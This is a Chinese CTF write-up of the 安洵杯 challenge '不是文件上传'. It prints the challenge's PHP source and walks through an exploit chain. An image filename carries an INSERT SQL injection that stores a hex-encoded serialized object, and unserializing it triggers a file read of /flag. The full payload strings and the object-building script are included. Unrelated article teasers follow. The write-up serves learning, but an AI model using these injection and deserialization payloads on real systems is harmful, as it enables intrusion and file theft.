[安洵杯-不是文件上传]代码审计+文件上传+insert注入

news2024/9/20 18:11:46

文章目录

    • [安洵杯-不是文件上传]代码审计+文件上传+insert注入
      • mysql特性

[安洵杯-不是文件上传]代码审计+文件上传+insert注入

首页是一个文件上传页面

image-20230731124554241

测试只能上传图片,是白名单

题目给出了源码:

upload.php

<!DOCTYPE html>
<html>
<head>
    <title>Image Upload</title>
    <link rel="stylesheet" href="./style.css">
    <meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150></p>
<div align="center">
    <form name="upload" action="" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="Submit" value="submit">
    </form>
</div>

<br>
<p><a href="./show.php">You can view the pictures you uploaded here</a></p>
<br>

<?php
include("./helper.php");

class upload extends helper
{
    public function upload_base()
    {
        $this->upload();
    }
}

if ($_FILES) {
    if ($_FILES["file"]["error"]) {
        die("Upload file failed.");
    } else {
        $file = new upload();
        $file->upload_base();
    }
}

$a = new helper();
?>
</body>
</html>

show.php

<!DOCTYPE html>
<html>
<head>
	<title>Show Images</title>
	<link rel="stylesheet" href="./style.css">
	<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>

<h2 align="center">Your images</h2>
<p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
<hr>

<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
	if($_GET["delete_all"] == "true"){
		$show->Delete_All_Images();
	}
}
$show->Get_All_Images();

class show{
	public $con;

	public function __construct(){
		$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
		if (mysqli_connect_errno($this->con)){
   			die("Connect MySQL Fail:".mysqli_connect_error());
		}
	}

	public function Get_All_Images(){
		$sql = "SELECT * FROM images";
		$result = mysqli_query($this->con, $sql);
		if ($result->num_rows > 0){
		    while($row = $result->fetch_assoc()){
		    	if($row["attr"]){
		    		$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
					$attr = unserialize($attr_temp);
				}
		        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
		    }
		}else{
		    echo "<p>You have not uploaded an image yet.</p>";
		}
		mysqli_close($this->con);
	}

	public function Delete_All_Images(){
		$sql = "DELETE FROM images";
		$result = mysqli_query($this->con, $sql);
	}
}
?>

<p><a href="show.php?delete_all=true">Delete All Images</a></p>
<p><a href="upload.php">Upload Images</a></p>

</body>
</html>

helper.php

<?php
class helper {
	protected $folder = "pic/";
	protected $ifview = False;
	protected $config = "config.txt";
	// The function is not yet perfect, it is not open yet.

	public function upload($input="file")
	{
		$fileinfo = $this->getfile($input);
		$array = array();
		$array["title"] = $fileinfo['title'];
		$array["filename"] = $fileinfo['filename'];
		$array["ext"] = $fileinfo['ext'];
		$array["path"] = $fileinfo['path'];
		$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
		$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
		$array["attr"] = serialize($my_ext);
		$id = $this->save($array);
		if ($id == 0){
			die("Something wrong!");
		}
		echo "<br>";
		echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
	}

	public function getfile($input)
	{
		if(isset($input)){
			$rs = $this->check($_FILES[$input]);
		}
		return $rs;
	}

	public function check($info)
	{
		$basename = substr(md5(time().uniqid()),9,16);
		$filename = $info["name"];
		$ext = substr(strrchr($filename, '.'), 1);
		$cate_exts = array("jpg","gif","png","jpeg");
		if(!in_array($ext,$cate_exts)){
			die("<p>Please upload the correct image file!!!</p>");
		}
	    $title = str_replace(".".$ext,'',$filename);
	    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
	}

	public function save($data)
	{
		if(!$data || !is_array($data)){
			die("Something wrong!");
		}
		$id = $this->insert_array($data);
		return $id;
	}

	public function insert_array($data)
	{
		$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
		if (mysqli_connect_errno($con))
		{
		    die("Connect MySQL Fail:".mysqli_connect_error());
		}
		$sql_fields = array();
		$sql_val = array();
		foreach($data as $key=>$value){
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
		mysqli_query($con, $sql);
		$id = mysqli_insert_id($con);
		mysqli_close($con);
		return $id;
	}

	public function view_files($path){
		if ($this->ifview == False){
			return False;
			//The function is not yet perfect, it is not open yet.
		}
		$content = file_get_contents($path);
		echo $content;
	}

	function __destruct(){
		# Read some config html
		$this->view_files($this->config);
	}
}

?>

这里的重点是helper.php

在upload()函数中,会将相关信息保存在$array数组中,注意到有一个地方被序列化了:$array["attr"] = serialize($my_ext); ,然后经过相关的检查会将$array数组插入到mysql数据库中去

我们分析一下:

public function view_files($path){
		if ($this->ifview == False){
			return False;
			//The function is not yet perfect, it is not open yet.
		}
		$content = file_get_contents($path);
		echo $content;
	}

function __destruct(){
    # Read some config html
    $this->view_files($this->config);
}

如果$this->config=/flag,并且$this->ifview=true的话,当helper对象会序列化就会读取flag的内容,并且输出,这是利用点。但默认值读不了flag,怎么读?

我们需要构造一个特定值序列化后的串,然后经过unserialize(),当对象销毁就会输出flag

哪里有反序列化函数?在show.php的Get_All_Images():

public function Get_All_Images(){
		$sql = "SELECT * FROM images";
		$result = mysqli_query($this->con, $sql);
		if ($result->num_rows > 0){
		    while($row = $result->fetch_assoc()){
		    	if($row["attr"]){
		    		$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
					$attr = unserialize($attr_temp);
				}
		        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
		    }
		}else{
		    echo "<p>You have not uploaded an image yet.</p>";
		}
		mysqli_close($this->con);
	}

这个函数会将传入的数组中的attr属性的值先替换一下然后反序列化,这个属性就是helper.php$array['attr']经过序列化后的值,所以我们需要构造一下,将该值替换为恶意构造的序列化串

但是$array["attr"]默认的值是图片的宽高数组序列化后的值,没法控制输入

$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);

怎么才能将自己的序列化串插入呢?我们注意到insert_array()函数

public function insert_array($data)
	{
		...
		foreach($data as $key=>$value){
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
		...
		return $id;
	}

在这个函数中会执行sql语句,将输入插入到字符串,但是这里存在insert注入

我们查看check()函数:

public function check($info)
	{
		$basename = substr(md5(time().uniqid()),9,16);
		$filename = $info["name"];
		$ext = substr(strrchr($filename, '.'), 1);
		$cate_exts = array("jpg","gif","png","jpeg");
		if(!in_array($ext,$cate_exts)){
			die("<p>Please upload the correct image file!!!</p>");
		}
	    $title = str_replace(".".$ext,'',$filename);
	    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
	}

这里的$title$filename传入,并且没有经过任何过滤,所以可以从这里入手,构造成这种格式:

tit','fn','.png','path','O:{yy}'),('title.png
即:
insert into images (`title`,`filename`,`ext`,`path`,`attr`)  values('tit','fn','.png','path','O:{yy}'),('title.png')

这个序列化串如何构造呢?

<?php

class helper
{
    protected $folder = "pic/";
    protected $ifview = true;
    protected $config = "/flag";
}

$a = new helper();
echo serialize($a);

# O:6:"helper":3:{s:9:" * folder";s:4:"pic/";s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}

image-20230731131038333

但是这里不能直接传入,因为变量是protected类型经过序列化后会加上%00

我们注意到之前insert_array()经过了替换:

$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);

所以我们替换成:

O:6:"helper":3:{s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

总的filename就是:

tit','fn','.png','path','O:6:"helper":3:{s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}'),('title.png

但是传过去发现无效,因为文件名双引号"冲突了,我们可以将其转化为16进制:

O:6:"helper":3:{s:9:"\0\0\0folder";s:4:"pic/";s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d

总的filename:

tit','fn','.png','path',0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('title.png

image-20230731131622797

访问一下show.php,就会反序列化,输出flag:

image-20230731131648600

mysql特性

这里有些同学会有些疑惑,为什么我们插入到数据库中的是序列化串的16进制形式:

0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d

为什么后面反序列化还能成功?

这是因为利用了mysql的特性

当mysql中插入一个16进制的值时会自动将其转化为字符串

image-20230731132712044

如图成功转为字符串,所以我们插入16进制就会转为字符串插入到数据库,这样取出来就可以成功反序列化啦

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/815540.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

00|Oracle学习(卸载、安装、创建删除数据库/数据库实例)

Oracle 12c卸载 1 如果数据库配置了自动存储管理&#xff08;ASM&#xff09;先删除聚类同步服务CSS。DOS指令&#xff1a; localconfig delete2 进入“任务管理器”&#xff08;ctrlshiftEsc&#xff09;&#xff0c;将所有运行中的Oracle进程全关闭。 3 在开始菜单中&#…

Jupyter Notebook 7重磅发布,新增多个特性!

本文分享Jupyter Notebook大版本v7.0.0更新亮点&#xff0c;及简单测试&#xff01; 近日&#xff0c;Jupyter Notebook大版本v7.0.0更新&#xff0c;Jupyter Notebook 7基于JupyterLab&#xff0c;因此它包含了过去几年JupyterLab中添加的许多新功能和改进&#xff0c;部分亮…

Python异步编程|ASGI 与 Django(附源码)

异步服务网关接口&#xff08;Asynchronous Server Gateway Interface&#xff0c;ASGI&#xff09;秉承WSGI统一网关接口原则&#xff0c;在异步服务、框架和应用之间提供一个标准接口&#xff0c;同时兼容WSGI。 01、ASGI ASGI是根据统一接口的思想重新设计的新标准&#xf…

【iOS】—— UIKit相关问题

文章目录 UIKit常用的UIKit组件懒加载的优势 CALayer和UIView区别关系 UITableViewUITableView遵循的两个delegate以及必须实现的方法上述四个必须实现方法执行顺序其他方法的执行顺序&#xff1a; UICollectionView和UITableView的区别UICollectionViewFlowLayout和UICollecti…

谐音标注外语发音的学习方式,早该终结了!

语言学习的热潮席卷全国&#xff0c;在多数80、90后记忆里尤为深刻&#xff0c;部分对外语过敏的同学&#xff0c;就像溺水的鱼&#xff0c;使劲扑棱也无济于事&#xff0c;难受但是死不了&#xff0c;在懵懂的年纪就被“摧残”了整个青春。 记忆中遇到记不住读音的单词&#x…

一文了解Angular、React 和 Vue.js的区别

前端开发人员在开始一个新项目时首先要回答的问题是&#xff1a;我应该选择哪个框架&#xff1f; 哪个框架更适合我的需求&#xff1f; 在本文中&#xff0c;我们将向您快速概述当前使用的最常见的前端框架&#xff0c;旨在帮助您选择最能满足您需求的框架。这些框架是 Angular…

1400*B. Swaps(排序)

Example input 3 2 3 1 4 2 3 5 3 1 2 4 6 5 7 5 9 1 3 2 4 6 10 8 output 0 2 3 题意&#xff1a; 每次交换相邻的两个数&#xff0c;问两个数列共同交换多少次&#xff0c;可以使得第一个数列的首个数字小于第二个数列的首个数字&#xff0c;求最少的交换次数。 解析&am…

springBootAdmin监控内存日志堆栈

概述 我的spring-boot版本&#xff1a;2.7.7 我的spring-boot-admin版本&#xff1a;2.7.10 jdk:1.8 平时测试环境服务不多的情况下&#xff0c;用linux命令看下日志和堆栈也不麻烦。但是要是服务数量上来了&#xff0c;有10几个服务这个时候用命令看已经有点麻烦了。特别是对…

安装了pyintaller后出现:‘pyinstaller‘ 不是内部或外部命令,也不是可运行的程序或批处理文件。

2023年7月31日&#xff0c;周一上午 我昨天晚上也遇到了这个问题&#xff0c;后来解决了 目录 出错原因解决方法怎么找到Scripts文件夹 出错原因 出现这个错误是因为你没给python的Scripts文件夹添加环境变量&#xff0c; Scripts存放着pip安装包时产生的可执行文件。 解决…

线性代数的学习和整理2:线性代数的基础知识(整理ing)

目录 0 写在前面的话 网上推荐的线性代数的课程 1 线性代数和矩阵的各种概念 1.1 各种逻辑图 2 关于线性代数入门的各种灵魂发问 2.1 什么是线性&#xff0c;什么是线性相关 &#xff1f; 为什么叫线性变换&#xff1f; 为什么叫线性代数&#xff1f; 2.2 线性代数是人造…

轻量级的工作流引擎:提质增效+灵活简便+拖拽式设计

低代码开发市场现在正是蓬勃发展的时期&#xff0c;由于低代码技术平台能够为当代企业节省很多宝贵时间&#xff0c;实现提质增效的办公效率&#xff0c;因此获得了大家的认可与喜爱。其中&#xff0c;工作流引擎是当中的主要功能&#xff0c;其拖拽式设计、易操作等优势特点也…

Linux 学习记录60(ARM篇)

Linux 学习记录60(ARM篇) 本文目录 Linux 学习记录60(ARM篇)一、SPI总线1. 概念2. 硬件连接 二、SPI总线协议三、SPI总线通信模式四、对比IIC总线和SPI总线1. 相同点2. 不同点 思维导图 一、SPI总线 1. 概念 1、SPI总结是Motorola首先提出的全双工三线/四线同步串行总线 2、采…

财务管理软件:推动企业数字化转型的关键驱动力

数字化转型是当下热议的话题&#xff0c;如今许多企业纷纷走向了数字化转型的道路。到底什么是数字化转型呢&#xff1f;财务管理软件如何帮助企业实现数字化转型&#xff1f; 什么是数字化转型&#xff1f; 数字化转型的核心要义是要将适应物质经济的发展方式转变为适应数字经…

二十、像素流送,软件即游戏,SaaG时代到来

有了像素流送插件,就可以在远程计算机上运行虚幻引擎应用,并将其渲染效果和音频流送到任意平台的现代网页浏览器上。此外,还可以在浏览器上与流互动,遥控虚幻引擎应用。 1、启用像素流插件 虚幻编辑器的主菜单中选择 编辑(Edit) > 插件(Plugins),在图像(Graph…

各大互联网公司面经分享:Java 全栈知识 +1500 道大厂面试真题

这篇文章给大家分享一下我遇到的一些质量较高的面试经历&#xff0c;具体经过就不多说了&#xff0c;就把面试题打出来供各位读者老哥参考如有不全的地方&#xff0c;各位海涵。 猿辅导 八皇后问题 求二叉树的最长距离(任意两个节点的路径 中最长的) lru 算法的实现 设计一…

第二季度财报超预期,利润率大幅提高,Meta股价将进一步上涨

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经 总结&#xff1a; &#xff08;1&#xff09;Meta&#xff08;META&#xff09;公布了强劲的第二季度财报&#xff0c;超出市场预期&#xff0c;利润率也大幅提高&#xff0c;导致其股价上涨了5%。 &#xff08;2&#xf…

“程序员求职攻略:IT技术岗面试的必备技巧“

文章目录 每日一句正能量前言分享面试IT公司的小技巧IT技术面试有哪些常见的问题&#xff1f;分享总结遇到过的面试题后记 每日一句正能量 人活一世&#xff0c;不在乎朋友多少&#xff0c;不问财富几车&#xff0c;关键看在你最困难的时候&#xff0c;是否有一个伸出援手的人&…

URP基于GL的Unity物体网格线绘制方法参考

直接上代码&#xff1a; using System; using System.Collections.Generic; using UnityEngine; using UnityEngine.Rendering;public class GLWireMesh : MonoBehaviour {[Serializable]public class IntPair{public int a;public int b;public IntPair(int a, int b){this.a…

jenkins自定义邮件发送人姓名

jenkins发送邮件的时候发送人姓名默认的&#xff0c;如果要自定义发件人姓名&#xff0c;只需要修改如下信息即可&#xff1a; 系统管理-system-Jenkins Location下的系统管理员邮件地址 格式为&#xff1a;自定义姓名<邮件地址>

洞悉安全现状,建设网络安全防护新体系

一、“网络攻防演练行动“介绍 国家在2016年发布《网络安全法》&#xff0c;出台网络安全攻防演练相关规定&#xff1a;关键信息基础设施的运营者应“制定网络安全事件应急预案&#xff0c;并定期进行演练”。同年“实战化网络攻防演练行动”成为惯例。由公安部牵头&#xff0…